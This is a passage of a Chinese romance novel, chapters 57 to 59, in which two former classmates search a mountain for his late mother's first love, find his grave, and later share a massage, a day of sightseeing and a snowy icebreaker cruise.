第57章 两人吃过早饭后一起出了门, 汤骏年大致告诉她此行的目的之一是为了找冠又青,也就是妈妈的初恋。虞谷秋听后不太乐观地想,这么多年前的地址还能找得到人吗? “没关系, 找不到人就算了。”汤骏年看得开,“本来找他也没什么要紧事, 找到了就是锦上添花。” 他们按照地址打车过去, 运气很好,虞谷秋还以为那地方可能早被拆迁,结果下车后依然是那片看上去非常老旧的居民楼。运气更好的是, 他们叩响门后,不消片刻就有人来开门了——一个小女孩仰起头奶声奶气地问他们:“你们是谁?” 汤骏年蹲下身,视线和女孩齐平, 冲她笑道:“你好,我们来找冠又青, 你认识他吗?” 小女孩歪了歪脑袋,没等她回答,一个女人拿着锅铲冲了出来,嚷道:“不是跟你说了不要随便给人开门吗!你给我进去!” 小女孩撇撇嘴,一溜烟地跑回了屋里。 那女人挥舞着锅铲问他们:“你们谁?有事?我锅里还热着东西呢,快快快!” 汤骏年抱歉道:“我们找一个人,叫冠又青……他原先应该住在这里。” “哦, 冠又青啊,他现在不住在这里咧。” “那方便告诉我们他现在的住址吗?” 女人又一挥锅铲, 指着两人身后的窗户, 那里正映照着一座高山。 “好说,就在那山顶呢!” 啪,门一关, 剩两人面面相觑。 * “那座山就是很有名的大青山,据说很灵的云顶寺就建在山上。”虞谷秋查了查百科,一个念头浮现出来,“那位小和尚先生难道真去当和尚了?” 汤骏年沉吟:“看来很可能是这样。” 虞谷秋哀嚎:“天呐,那我们还要爬山!” “我自己去吧,你可以逛逛其他你想去的地方。” 虞谷秋却不乐意了:“那不行,是你把我拉来的,又把我撇下什么意思?” “可是你刚才好像不愿意爬山……” “你意思是我的错啦?” “……不,应该是我的错?” 虞谷秋点点头:“行,那我们出发!” 汤骏年一脸懵地跟上了。 两人打车到山脚下,冬天登山的人肉眼可见的少,放眼望去除了他们就只有几位狂热的登山爱好者,穿着全套的登山装备。 到达山顶的路总共有两条,一条就是供刚才那些爱好者们挑战的专业山道。还有一条就是任何菜鸟都可以登顶的全通台阶,比如他们俩,两人往上走时甚至看到还有一路跪上去的人,虔诚得令人咋舌。 两人留下一句惊叹默默越过对方继续向上。 走到中途时虞谷秋逐渐走不动了,她看汤骏年的神情却还很从容,如果不看他额头上沁出来的汗她都不会觉得他在爬山,也许他手上的那根盲杖充当了一部分登山杖的作用?虞谷秋暗自嘀咕,思考自己去捡根树枝来能不能行。 他们停在中间休息区域休整片刻,要再出发时汤骏年在她面前蹲下身,示意她可以到自己背上来。 “还有一半的路,我背你上去吧。” 虞谷秋吓一跳:“你真的不累吗?不要硬撑啊?” 汤骏年平常道:“我经常一站站一整天,这点强度没问题。” 虞谷秋笑了笑:“那我也经常徒手抱老人呢!这点强度我也没问题!” 她拉着汤骏年起身,然后按照刚才脑子里计划的去旁边的树丛里捡了根枝回来,冲他比划道:“我们一起往上走吧。” 汤骏年眼神闪动,从那根嶙峋的树枝转到她的脸,于是也笑着点头:“好,那一起往上走吧。” 两人便接着一起往上,走到最后只剩几十级台阶时虞谷秋双脚发软,汤骏年此时也显出疲倦,喘着粗气,他们对视一眼,互相拽着对方慢吞吞到顶。 虞谷秋正想发表一下登高的艰苦宣言,但视线往下望去,只觉得这痛苦物超所值——山顶绵延往下是高耸入云的松林,栖云市匍匐在他们脚下,中间是层层叠叠的房屋,最远处能看见隐约的海,天空一望无际。 虞谷秋赶紧拍下这一幕,突然听见汤骏年在一旁问:“要帮你来一张吗?” “我?”她狂摇头,“我就不拍了吧。我来帮你拍?” “你不想一个人入镜吗?那我们一起拍好了。” 他自然而然地举起手机,调到自拍模式,画面里映照出一脸自然的他还有一脸“啊?”的虞谷秋。 她觉得自己好像被套路了,就这么顺其自然地变成了合照。 他预告:“那我准备拍了?” 虞谷秋急忙调整表情:“好。” 两个人看向镜头,没有任何的肢体接触,她站得甚至离汤骏年有点远,为了让出足够空间可以拍到两人身后的壮美景色。这样看上去生疏的他们大概会让人想到现在软件上的一些搭子,约着一起旅游之前完全不认识那种,但说不定拍起照来也比他们显得亲密呢。 “三、二、一……” 一张相当僵硬的合照拍下了。 两个人的目光都微妙地移开了镜头,都是不适应镜头的样子。一个斜向左,一个斜向了右……恰巧,那都是他们各自所在的方向。 * 山顶的寺庙此刻很清静,寥寥几个人在庙内烧香拜佛,虞谷秋和汤骏年则是直奔着寺庙里的和尚去,问他们认不认识一个叫冠又青的人。 他们本来以为找到这里就不难了,结果问了一圈下来,没有人认识冠又青。 虞谷秋茫然道:“难道是那个人胡说八道骗了我们吗?” 汤骏年倒接受得很快:“没关系,那就不找了。反正这里也是个著名景点,被骗了也没什么损失。如果她没骗我们,我们应该不会来这里。” 虞谷秋立刻被说服了,开心起来:“没错,锻炼身体!” 两人立在正殿前,眼前正是一樽威严的神像,神像垂眉,令人肃然起敬。 虞谷秋下意识说:“既然来了,我们要不要拜一拜?” 话出口后,她又想起汤骏年是一个寄情于天文胜过宗教的人。他也许会对着一颗流星许愿,但不会对着佛祖低头。 她连忙补充道:“当我没问!你应该不会想拜……” 汤骏年却仰头看着佛祖半晌,出乎意料道:“拜拜也不错,任何可以让愿望完成的希望我现在都想抓住。” 虞谷秋不知道他口中的愿望到底是什么,但他最后跪向佛祖的姿态无比虔诚,握着香火的手高高举过头顶,额头磕向蒲团,很端正的三个叩首。 * 走出寺庙后,虞谷秋忽然拉住还要往前走的汤骏年。他没看清她在看什么,总之视线聚焦在远处,露出非常微妙的神色。 “汤骏年,那里有一片墓地。”她说,“那个人说冠又青‘住’在山顶,会不会是住在……那里?” 这个念头一出来,两人都毛骨悚然。 汤骏年迟疑半晌,决定道:“我去上面找一找,你在这里等我。” 虞谷秋咬咬牙:“不用,我才不怕鬼。” 他默了默,点出:“你身体现在在抖。” “我那是冷的。” 他冷不丁握了下她的手。 “手心很热。” “……” 虞谷秋从他手心里抽回手,继续嘴硬:“因为被我抖出热了。” 最后他们一起继续往上,山上的坟头东一块西一块,但并不潦草,能看到被人惦记的痕迹,摆放的水果,花,有的枯了腐烂了,有的还很新鲜,他们一个名字一个名字地看过去,在被阳光忽略的一处角落,他们真的找到了那个想找的名字。 他已经在两年前去世了。 明明是素昧平生的人,虞谷秋的心里头却泛上怅然。这股怅然是因为汤骏年,她想她能理解他为什么要来这里找冠又青。他仍在试图寻找和妈妈在这个世界上的最后一丝连接,而这个连接如今也断裂了。 纵然汤骏年没有表现出什么情绪,他仅是蹲下身拔掉了坟前长势凶猛的野草。 虞谷秋也蹲下身帮忙拔掉一些,这个位置,她看见了墓碑角落小字的立碑人,是冠又青的姐姐。 脑海里立刻浮现那位挥舞锅铲一脸置身之外的女人——难不成竟然就是她吗? 没有答案,也并不重要了。虞谷秋回过神来,边拔草边咕哝:“早知道是这样,我们应该带点贡品上来……” 汤骏年微怔,仿佛被她的话点了一下。 他摸索着,从贴身的口袋里拿出那封妈妈未曾有勇气寄给冠又青的信,挑了块石头将信压在墓前。 “也许可以把这个当作贡品吧。” 两人又静静地站了一会儿,谁都没说话,要走时虞谷秋低低地说了一句:“这时候我真希望世上有鬼。” 汤骏年侧过脸问:“为什么?” “这样他能看到这封信了。有些话错过了好可惜,当人的时候有那么多遗憾,那当鬼了是不是就好点。” “谁知道呢,也许已经过桥投胎了。有些话不等做人的时候说,做鬼了就更来不及。” 虞谷秋听着,知道汤骏年是在说别人的事,但字字振聋发聩,每个字都说到她心里。她想自己隐瞒他的事是不是也只有当鬼的时候才有机会说,还是趁现在,趁一切还有转机的时候,说出来。 “汤骏年……” 他转过脸来。 虞谷秋对上他被余晖照耀到的,充满光辉的眼睛。 她偏过脑袋,哈哈一笑:“我肚子饿了,我们下山吧!” * 两人本来还打算去镇上好好搓一顿,但下山之后都累得够呛。虞谷秋并没觉得下山轻松,阶梯的陡峭对于膝盖不好的人来说绝对是折磨,而对一个视力不好的人来说也需要高度集中注意力,汤骏年的精神比体力累多了。 于是他们一拍即合叫了外卖打算回民宿吃,没有什么比累了一天之后,在寒冷的冬夜里缩在民宿吃外卖更幸福的事了。 虞谷秋吃完饭洗完澡,后腰的酸劲泛上来,她不得不去床上躺一会儿,但躺姿都变得很痛苦,正换了个姿势趴着,房门被敲了敲,汤骏年在门外问:“是你叫的药吗?” 虞谷秋应道:“对,已经到啦?” “嗯,你怎么了?哪里不舒服?” “没事没事,我就是爬得腰疼,想说买药膏贴一下。” 虞谷秋披上外套拉开房门,伸手要接,汤骏年却将药袋往身后一撤。 她的手愣在半空。 “……你干嘛?” “贴药膏不管用的。”他一扬下巴,“你来客厅沙发上趴着吧。” “啊?” “我来给你按不是更管用吗?” 他干脆劫持了她的药袋,先一步走到沙发边,撩起毛衣衣袖边抬眼看向还愣在原地的她。 “过来吧,虞谷秋。” 第58章 那六个字听在虞谷秋耳朵里好比海妖的歌声, 极具吸引力,又极具危险。 大脑发出红色警报,上回光是在店里随便让他按了几下脑袋和脖子她就想入非非, 她不能想象当他的手伸向她的腰时会怎样,完全不能! 坚定好意志回过神来的虞谷秋, 发现自己已经在沙发上趴好了。 汤骏年将沙发上的一只抱枕抽出来递给她, 让她枕到自己的脑袋上。 “这里没有按摩床,只能这样将就一下。重点是腰痛对吧?” “嗯……” 汤骏年相当专业,即便是这么私下的场合, 他也像在工作时那样找了条毯子盖到她背上,绝不触碰到她,哪怕只是她的衣服, 隔着毯子手慢慢按下来。 沙发比起按摩床要矮得多,而汤骏年又很高, 他弯腰都很勉强,按了两下不得劲,干脆跪在地。虞谷秋将脑袋枕上去,头一偏看见他的姿势,不好意思地要坐起来,被他一手持住肩又摁回去。 他这个距离太轻易就能凑到她耳端,轻声说:“别在意, 这样我比较好施力。” 虞谷秋不再应声,将脸急急地转到沙发靠背看不见他的那一侧。 汤骏年的手再度落下来。 这次明显感觉到力度不一样了, 指心每一下都按得很实, 穿透毛毯和她的外套,外套里面的内衣,贴到了她的肉里。她感觉很疼, 疼完之后身体又很松。她正被按着的一侧腰好像在天堂,又好像在地狱,总之不断地来回蹦极。 在按摩前虞谷秋认为这是一场对自己意志的酷刑,光是上回在店里被他随意按几下,她就已经心神大乱——这回又该如何招架呢? 可当实打实地体验了一把汤骏年的手劲,虞谷秋的一半已经归西了。 她想,上回汤骏年的力道根本算得上是在抚摸她,不是按摩。他认真下来的按摩真的是对她身体的治疗,根本分不出一点多余心思遐想风月。 但汤骏年问她力道怎么样,疼不疼时,虞谷秋却下意识地脱口说,不疼。 这是她多年的一个惯性,疼也要说不疼,咬住声音就不会被发现,忍忍就过去。以致于按摩也是,明明是自己花钱,她却像个拿钱的,之前栗子问她疼不疼时,不管真实感受,她也都会下意识说不疼。 这次又是如常说不疼,她努力地深呼吸,将快要顶到喉咙的叫声拼命咽回去。栗子的手劲她还可以承受,汤骏年的却不行,她得花大力气装作没关系。 但她身体的变化骗不过汤骏年,他已经慢慢发现她像只准备和人搏斗的小动物一样,每一个部位都绷紧了,视线随意一扫,脚背,肩颈,都无意识地拱起来。 他没点出,而是放重力道又问了一遍:“这个力道疼不疼?” 她说:“不疼。” 手下的身体更硬了。 她越是僵硬,他的心就越是软,也泛着酸。 他垂下眼,狠下心,用更重的力道问:“这个力道呢?” 虞谷秋刚想说不痛,出口却是一声痛叫。 她一下子被按出泪花,愤愤地支起身望向汤骏年,但汤骏年却面无表情地看着她,问道:“怎么了?不是不疼吗?” 虞谷秋一下子愣住。 是啊,是她不断地说不疼,容忍对方不断加码,一直到自己的极限。 汤骏年拢起眉头,认真道:“虞谷秋,不要掩盖自己的真实感受。疼就是疼,不疼就是不疼。就直接说出来。” 虞谷秋望着他的眼睛,发了好一会儿的呆。 她呆呆地脱口而出:“我……我试试看。” 她说,我试试看。这话让汤骏年也怔然,那股想要替她先一步委屈的感受又冒出来了。 他握住她的肩,没有质疑这个说法奇不奇怪,放缓语气:“那再来一次。” 虞谷秋本来想说不用了,就这样吧,但她接触到汤骏年的视线,他的眼睛是湿润的,她的心好似也慢慢被打湿,身体灌进水份,慢慢往下坠。 她重新趴了下去。 汤骏年的手隔着毛毯重新按下去,再一次耐心地问:“这个力道疼不疼?” 在虞谷秋即将脱口而出的瞬间,汤骏年先一步道:“好好感受你的身体,这次慢一点再回答,不着急。”他慢慢按,慢慢讲,“我跟你讲一个我这几年工作下来的感受吧,那就是我按过的这些人里面,我发现那些身体特别硬,堵得厉害的都是很能忍的人。有些也会说不疼,有些会跟我讲可以再按重一点,他们可以忍。” “而你呢,是这些人里最能忍的,所以你的身体甚至比那些乱发脾气的老头都要硬。” 虞谷秋郁闷道:“真有那么硬吗?” 他玩笑道:“真的,虞谷秋,我们不能连老头都输吧?” 虞谷秋把脸闷在枕头里,闷闷地切了一声。 “现在告诉我,这个力道可以吗?” “……”虞谷秋依旧闷在枕头里,声音含糊地传来,“再轻一点。” 汤骏年的眉眼随着手劲松开,柔声道:“好。” 虞谷秋发现这次调整好力度之后,得到的感受果然是完全不同的。舒舒服服,不需要刻意忍耐,身体依旧能得到放松。 她之前一直有个认知,按摩嘛,要揉开堵塞的脉络,必然是要下狠劲的,越痛越好,就和人生一样,这是必经之路,熬下来才算数。 可真的是这样吗?她开始感到茫然。 有时候不需要强撑也会有顺其自然的结果吗? 虞谷秋在迷迷糊糊间,觉得汤骏年按开的不只是她身体里淤堵的部位。纵然那些化开的东西暂时还找不到排解的去处,但它们在她的身体里松开了,她逐渐感受到自己的轻盈。 快舒服得睡过去之前,虞谷秋猛然惊醒,惊觉汤骏年已经跪在地上替她按很久了,这样不行。 她一个弹身起来,拍拍自己的脸说:“好了好了,按到这里就行了,我满血恢复了!” 汤骏年见状也不再勉强,活动身体起身。 虞谷秋察觉到他一闪而逝的疲惫,意识到他今天同样爬了那么久的山路,可不比她轻松,现在还为她服务这么久。 她迟疑道:“要不换我帮你按按?虽然我肯定不如你专业。” 汤骏年没有立即回答,视线飘忽了一会儿,才看向她:“那就简单按几下吧。” 虞谷秋立刻倍感振奋地点点头。两人互换位置,虞谷秋这个身高弯腰倒是没问题,扯过刚盖在自己背上的毛毯盖到汤骏年背上,有样学样地问道:“你重点想按哪里?应该也是腰吧?” 她手要往那里去,被汤骏年反抓住手。 他说:“我腰比较敏感,不用按那里。” 虞谷秋缩回手:“那我帮你按……”腿好像也有点尴尬,腰也不行,“帮你按肩颈吧!” 肩颈的话毛毯也不需要了,他穿的是高领毛衣。她隔着毛衣碰到他的肩头,他轻微地缩了一下,这让虞谷秋忍不住想打趣他:“你真的只有腰敏感吗?” 他沉默。 虞谷秋这才觉得自己问得古怪,连忙转移话题有样学样:“我这个力道可以吧?” “嗯……要说实话吗?” “当然。” “像小鸟羽毛在蹭我。” “……” 虞谷秋按的手一顿,接着,深呼吸,吐气,青筋毕现地往汤骏年的肩头按去。 “这下总不轻吧?!” 汤骏年为难地嗯了一声,听上去略显勉强。 虞谷秋备受打击:“我手劲这么小吗?” “不是。”他带着笑意道,“只是你找不准穴位,按在皮肉当然不会有太大感觉。” 这种说法让虞谷秋宽心几分,下意识说:“那我下次好好研究一下穴位。” 汤骏年侧过头来:“还有下一次吗?” 虞谷秋找补道:“没说给你按。” “那要给谁呢?” 虞谷秋答不上来,抿住嘴巴,收回手说:“今天就到这儿吧,反正我也按得没作用。” 她直起身准备走,收到一半的手又被汤骏年一把牵住。 他半倚在沙发上,毛衣刚才被她按起褶皱,看上去乱七八糟的,他的头发也被压得有点乱,自下而上地望着她。 虞谷秋看呆了一秒,以致于后知后觉地想抽回手时,手已被他紧握在手心。 她撇开眼神:“……干嘛?” “你刚刚说想要研究这方面,我可以毛遂自荐,当你的老师吗?” 说话时,他从沙发上起身,身型慢慢盖过她。 他松开手心,不再禁锢她,虞谷秋却不知道该往哪儿走了,愣在原地,看他伸手过来抚了一下她的头发。 虞谷秋抬眼看他。 他低下头道:“刚刚你起来的时候这处就被压乱了。” 虞谷秋下意识地又去拨自己的头发,胡乱顺了两下。 汤骏年静静地看着她动作,在她之后却又伸手过来,笑着说:“你反倒弄乱了。” 虞谷秋微微低下头,感受着他的整理,与刚才的触感微妙的不同。他放慢了动作,手指插入她的发间,划到后脑勺,摸到后颈,摁住其中一处。 “这里是风府穴,我上次告诉过你的,还记得么?” 他真的顺势教起她来了,这让虞谷秋想要呵斥他收手的气势矮下一截,思绪被带着走,含糊地脱口说:“记得。” “真的记得?”他又重新坐回沙发,侧背过去,指着自己的后脑勺,“那你摸给我看,我来检查。” 虞谷秋盯着他理得很干净的后颈,他低着头,高领毛衣遮住的脖子被抻出一截,那里真是一个适合留下痕迹的部位。 惊觉自己在想什么,虞谷秋手心发热,将手背到身后。 “其实不记得了……” 汤骏年转回身,伸出手:“那把手给我,我带着你再找一次位置。” “不用了。”她垂下眼睛,“我改变主意,不想研究了。” 汤骏年并没有因她的变卦置气,沉静道:“没关系,那等你哪天再有兴趣吧。今天不行就明天,明天不行就后天。”他语气微顿,尔后说,“反正我还有一辈子的时间。” 虞谷秋听得发怔,莫名觉得这话听上去有几分耳熟。 汤骏年提醒她:“看来你忘了,这是你曾经跟我说的话……在我们刚打赌那阵子。” 虞谷秋努力回忆,模糊地想起来似乎确有其事。现在再想起来只觉得是另一个人会说的话,她又变回了虞谷秋,也不再拥有如此蓬勃的勇气了。这二十八年来如履薄冰的人生才是她熟悉的。 她仍是垂着脑袋,闷闷地回他:“是吗,我随口说的,你不要当真。” 汤骏年这时看着她笑了。 “没关系,那是你的一时兴起也好,但对当时的我来讲很重要。”他说,“所以我现在把珍藏的这句话还给你,我是认真的。虞谷秋,你不再喜欢我了,但我还有一辈子的时间,我会一遍一遍地用来试你会不会再次喜欢上我。” 虞谷秋沉默了很久,回他: “我已经改签了,初四就回去。” 哪有一辈子,他们在一起的时限只有一天了。 第59章 她决定改签的原因很简单, 只是这么和汤骏年呆一天下来,她就逐渐力不从心,感觉到自己的动摇和迟疑。在墓地的那个瞬间, 她几乎想要脱口而出,把自己为什么离开的真相交底。但这样的话……她的坚持算什么呢。她又会想, 自己真的有必要坚持吗? 这样的念头撕扯着她, 她感觉到思维混乱,不能再深想下去,那不如快点离开吧。 虞谷秋还没来得及计划最后这天要去做什么, 汤骏年就说交给他来安排,她欣然地做起甩手掌柜,毕竟这样的机会很难得, 之前的旅行都是一个人,制定计划都得靠自己, 她不会有这样随波逐流的时候。 这最后可以心无旁骛游玩的一天,汤骏年没有要求她必须要几点起来,让她睡到自然醒就好。但虞谷秋悄悄设了闹钟,这仅剩不多的可以和他在一起的时间,她一点不想浪费。 她以为自己起得够早,结果睁开眼时就隐隐听到了客厅里传来的动静——汤骏年更早一步起来,依然在做早餐了。 两人像昨日一样面对面吃完早餐, 汤骏年叫车到了栖云市的老街,沿路有许多卖手工艺的店铺, 逛的大都是游客, 在这里挑些伴手礼回去最方便。 两人都给同事买了一些纪念品,虞谷秋在心里算着要送的名单,家人并不考虑在列, 毕竟她现在已经是离家出走的状态。 不过在路过一家花店时,虞谷秋看到橱窗上陈列着一只特别漂亮的喷壶,壶身是很亮眼的橘色,恰好是胡采春最喜欢的颜色。 她知道胡采春肯定等不到来自虞文夏买给她的喷壶,想必她之后还是就凑活地用那个坏掉的……汤骏年见她停下来看着橱窗发呆,问道:“要买这个吗?” 虞谷秋没头没尾地说了一句:“嗯,我想最后试一次。” 她买下喷壶,当即拜托店主寄出。 买完所有礼物就到了午饭时间,汤骏年也早早选定好餐厅,但严格意义上来讲它并不是真正的餐厅,只是配有吃饭的服务,真正的吸睛点在于一整面的米酒墙,用不同的风味酿出来,甜度和辣度各有不同。食客来这里只需要交几块钱就能分到一只小杯子,可以随意喝三杯,再配上下酒菜,就在桌子边站着吃喝。 虞谷秋对此感到诧异:“怎么选了这家,你现在不排斥喝酒了吗?” “也不完全是,我想开始尝试不排斥。”他回答,“而且我记得你说过喝酒会让人开心,至少你会开心。” 虞谷秋恍惚道:“你怎么记得那么清楚,我自己都忘了。” “你说过的话我当然记得。” 她玩笑:“全部吗?” 他却很认真地回答:“那你太高看我的记忆力了,那是十八岁的我才能做到的事。” “……那也很变态了!” 他笑起来:“不,是因为十八岁的我们没怎么说过话。” “……” “所以,二十八岁的虞谷秋同学,再和我多说些话吧,哪怕只剩下这一天。” 虞谷秋低低地嗯了一声。 终于排到他们,两人各被分到一个杯子,可以去挑选酒。 汤骏年接了一杯尝了一口后,眉梢微挑,转头问她:“这一种米酒酿得比较甜,会是你喜欢的口味。你要不要尝尝?” 虞谷秋迟疑片刻,还是说实话:“其实我喝不了酒。” 汤骏年一怔:“之前不是可以喝吗?” 他当然不知道是癫痫的缘故,医生说为了预防必须要滴酒不沾。 虞谷秋打哈哈:“我最近开始注重养生了,决定戒酒。” “……对不起,我选错餐厅了。”汤骏年反省说,“我应该事先问你。” “没事啊,这里虽然酒是招牌,但也有非酒精饮料。”虞谷秋说着就去接了一杯喝给汤骏年看,然后比了下大拇指,“不是酒也很好喝哦,真的!” 他低头近距离地看着她,眼神一闪,说:“是吗?那我也试试。” 他没有让她分给他杯子里一点,而是直接弯下腰,手托着她的手,微微使力让杯子倾斜,就着她手拿酒杯的姿势浅尝了一口,如此自然,靠近的鼻息烧到她抵在杯边的手指。 虞谷秋立刻结巴道:“你怎么……” 他咽下饮料,抬起眼,滚动着喉结含糊道:“怎么了?” 他的自然衬出她的扭捏,仿佛他们就该这样亲密地分享一个杯子才对,可当然不是这样。 虞谷秋跟着咽了咽喉咙,语气持续接结巴,你了半天没说出所以然。 汤骏年端起他的杯子,贴心地主动解释:“我的杯子现在装满着酒,你别介意。” 虞谷秋差点被他糊弄过去,大脑宕机一下又飞速重启:“那你可以先喝完你的我再倒给你啊!” 汤骏年微微笑着点头:“是,刚刚没想到,太着急来喝你的了。” 胡说八道。 虞谷秋瞪他,让自己冷酷地拉下脸,背过身继续自顾自挑饮料,手指却在背过身的瞬间蜷了起来,止不住地轻轻搓揉着那份热气扑在上面的触感。 接下来她绷紧神经,防备着汤骏年又突然来上那么一下,可汤骏年却开始举止礼貌,没有再做出任何过界的举动,哪怕他们的独处时间正在一分一秒地倒计时,他就任时间就这么浪费着,站在她对面喝酒,拿着下酒菜蘸酱吃,听餐馆里放一首老歌,彼此连交谈都甚少。 虞谷秋的神经又松下来,伴随着可耻的失望。 她想她快精神分裂,一方面希望他就像现在这样,安然挨到分开就好。一方面却仍然在渴望着他的进攻,渴望着他挑动她的心跳。 下午的时间他们不能免俗地挑景点逛,这是一座完全陌生的城市,汤骏年依然需要盲杖帮忙,但不再需要将手搭在她肩头依赖她引路,所以他们移动的速度比起常人要慢上许多,最多也就逛了两个地方,转眼到太阳下山,汤骏年带着她立刻急匆匆赶往码头。 他们排在五号码头前的列队里,这里停着一只体积相当大的破冰船。船身是刷得鲜亮的橘色,迎着海平面的夕阳,两种不同饱和的颜色混在一起,浑然一体。 这是来冬天的栖云必须要体验一把的项目,汤骏年运气算不错,逼近日期订也订到了,虽然只订到了最后一班,在日落时分出发,不过到了流冰区域天色就暗了。 虞谷秋是头一次听说破冰船,毕竟她从前连船都少坐。京崎是个内陆城市,她的人生里连海都没见过几回,更别说能有机会看到漂浮着流冰的海面,更想象不出船要如何在这样的海面上行驶。汤骏年跟她解说得头头是道,其实自己也一无所知,全是从网上做的功课。两个人像第一次春游的小学生,满怀期待地登上了破冰船。 夕阳落到一半的时候,载满游客的船体迎着金光出发了。 船长说要半个小时后才会慢慢看到浮冰,劝大家先去船舱里坐着等待,舱内可以烤火,很温暖。这个季节的海上会很冷,尤其日落下去后更叫人吃不消,所以这一班才会空出余位。 但虞谷秋却兴奋得身体发热,将船长的劝说抛在脑后,跑去船尾的甲板上欣赏离岸的城市,以及一路拖出金色浪花的海面。 汤骏年走在她身后,他收起了盲杖,一路摸着船檐。虞谷秋回过神,立刻放慢了激动的脚步,等待着他跟上来。 两个人慢慢并起肩,停在船尾的一小块空处。 虞谷秋找好拍摄角度,唰唰唰地拍下了许多重复的照片。明明这样的角度一张就够,她也说不明白为什么非得拍好几张才觉得算是拍上了——但其实并非是一模一样的角度,每张的镜头都在逐级倾斜,最后一张照片,不动声色地框入了身边汤骏年的半边手臂。 她心跳如雷地立刻按灭手机插进兜里。 汤骏年没有察觉地看过来,问:“不拍了吗?” 虞谷秋含糊点头:“太冷了,手机掉电好快啊,留点电等到有冰的时候再拍。” “其实那边已经有一点漂过来了。”他探出头指了指远处。 虞谷秋顺着看过去:“……没有啊?” 汤骏年一呆,恍了下神说:“啊,真的没有了。” 虞谷秋反应过来,忍不住哈哈笑:“你看见的是反射的阳光吧。” 他不好意思地点点头:“你别笑我眼睛不好。” 说这话时,汤骏年的语气软绵绵的,真可爱。 她遏制住坏心思,收住笑说:“你的眼睛已经好很多了,会随着恢复越来越好的。” 就像你会遇到更好的人的,她高兴地想。 汤骏年附和地扬了扬嘴角,脸上却没什么笑意。 最后一点夕阳落下海平线,但天空仍有橘色的余韵,不过在另一方,天空已经呈现出类似海面的幽蓝,两种颜色分割着世界,温度在拉锯中骤降。 虞谷秋冷得把脸埋进围巾,视线一扫旁边,汤骏年的手都冻得发青了。 “你的手套呢?” “放在昨天的大衣口袋里,忘拿出来了。” “……”虞谷秋便道,“那你进船舱里去烤火吧,不要站在这里了。” “没关系。我喝过酒,身体里还是挺热的。” “那都是几小时前了,酒劲早过了吧!” 他淡淡地笑着坚持:“真的不冷啊。” 虞谷秋欲言又止,最后狠下心撇开眼睛。 两个人无言地站在船尾感受着海上傍晚的风,汤骏年摸出耳机,分了一只过来问:“要不要听歌?我最近找到一首歌,其中的键盘手难得是坂本龙一。” 虞谷秋好奇道:“坂本龙一?他参与的流行歌吗?” 他点头,虞谷秋没耐住好奇接过耳机,耳机是有线的,他不得不站近一点,两人的大衣擦在一起,耳机线呈“Y”字,将他们的脑袋连在一起。 汤骏年接着掏出手机,他用密码解锁屏幕,却好几次都不成功,手指已经冻得很不灵活了。 虞谷秋自然也没漏掉这个细节,缩在手套和大衣里的手指难熬地蠢蠢欲动,再次狠心将视线掠过。 「再会之事就此作罢/压抑着心绪说再见吧 夜尽天明/离别之时将至」 天色逐渐昏暗,船两边浮现出流冰,仿佛流冰有生命意识一般,昼伏夜出,见日光消失了才一个两个地从海面下浮出纯白色的面孔。 刚才焦急期盼着的两人这时却都不着急去看浮冰了。 听着耳机的歌,海鸥飞过天际线的流云,呼吸间的白气朦胧地聚拢又散开。 「我紧紧拥抱你/紧紧相拥」 听歌的两个人岔开站着,不如一句歌词坦然。 浮冰越来越多,越来越多。 天色的拉锯战终于到了尾声,世界被一片深蓝色包围时,船身开始轻微地震荡——船头的钻头开始破冰了。 船舱里陆续有人出来,虞谷秋一边听着歌,另一边闲着的耳朵听见兴奋的呼叫,听见纷至的脚步,静谧的船尾不复存在。 「时间啊/若能倒流 相爱……」 身后有一群人经过他们,其中一人不小心撞向虞谷秋,她往前一踉跄,耳机脱出耳朵,歌也中断了。 汤骏年皱起眉看向那个撞人者,对方却毫无所觉,正抬着头,一边推着他的同伴们说:“下雪了!是不是下雪了!” 虞谷秋此时也顾不上被撞的懊恼了,连忙抬起头,率先落下一片湿意——真有一片雪花融化在脸上。 雪花下得很小,很细,不如在京崎时下得庞大,因此汤骏年昂头看了半天,并看不出它的踪迹,但他能感受到它确实地来临了,它落下来,落在他的脸,落在他的手,落在虞谷秋小声的惊叹里。 她晃了晃他说:“你看见了吗?” “看见了。”他回答,“很美。” “这样也算我没有食言吧!”虞谷秋兴奋道,“还是一起看雪了!” 最后这一天,他们竟然能一起看一场雪。 又有厚重的脚步声朝船尾过来,是船长,他来叫大家往船头走,已经正式进入冰原了,那边角度好,一览无余。 虞谷秋感受到船身的震动比起刚才的确频繁许多,它很有节奏,抬升,下压,如一只匍匐在冰面上的巨大猛兽,保持着某种频率呼吸,而身处在猛兽身体里的众人却被眼前的景象惊得忘记呼吸。 如此壮阔无垠的纯白冰原,像是连梦中都不会出现的世界。再遇上难能可贵的落雪天气,这些雪纷纷扬扬地洒在碎裂的白色浮冰上,衬着静谧的深蓝,让虞谷秋想起上午在手工艺品店看到的雪夜流麻灯,长方形的水晶将世界包起来,打开灯就落雪花,洋洋洒洒,她怀疑自己就存在在这样一座灯里。 船头此时人满为患,大家都举起手机兴奋地拍照,虞谷秋回过神后也不例外,摘掉手套去摸手机。 身边的汤骏年也是如此。但是他的手比刚才还要不灵活,拿出手机的刹那间手指僵硬地甚至拿不稳,手机沉沉地掉在地。 他已经冻得不太行了。 虞谷秋却知道让他独自回船舱他也不会听,不然刚才那算不上精彩的景色里他就应该乖乖回船舱里取暖,而不是傻站在她身边。 虞谷秋转念间将还没拿出去的手机又塞回大衣口袋,转而拍拍汤骏年的肩头。 “我们回船舱里吧?” 他一愣,以为自己听错。 “现在?” “对。”虞谷秋故意皱起眉头,“现在这里都是人,很挤,找个拍照的景都难。等人稍微少点我们再出来好了。” 船舱里还留有几个零星怕冷的人,他们围坐在电子壁炉前,里面其实是个小太阳,这就是船长说的“烤火”,很有意境的说法。壁炉身后就是一面洁净的舷窗,虽然很小,但也依稀可以眺望外头的飞雪和冰原。 虞谷秋领着汤骏年进来,两人抖落身上的雪在炉边落座。她伸手靠近小太阳,顿觉得浑身的寒气被驱散,整个人活过来。连她都是如此,很难想象一直光着手的汤骏年是怎么忍下来的。 她往旁边看去,他青白的手在温度的炙烤下迅速发红发胀。 “你的手现在好像小猪蹄。”她忍不住笑。 他忽的将手凑近她嘴边:“那你要吃吗?现在有烤得八分熟了。” 虞谷秋蓦地抿住嘴巴,接话道:“黑心摊主,明明才烤了一分熟就来兜售了。” 汤骏年笑着收回手,又摸了摸热胀的手指说:“可是一分熟也已经很肥了。” 他视线一飘,忽然看见对面的小女孩直勾勾地盯着自己,嘴里哧溜地飘出两个字:“猪蹄……” 女孩的妈妈驾轻就熟地把她的脑袋掰回去:“乖,那个不能吃。” “为什么不能吃?” “你这个年纪吃不了,等十八岁以后吧。” “哦。” 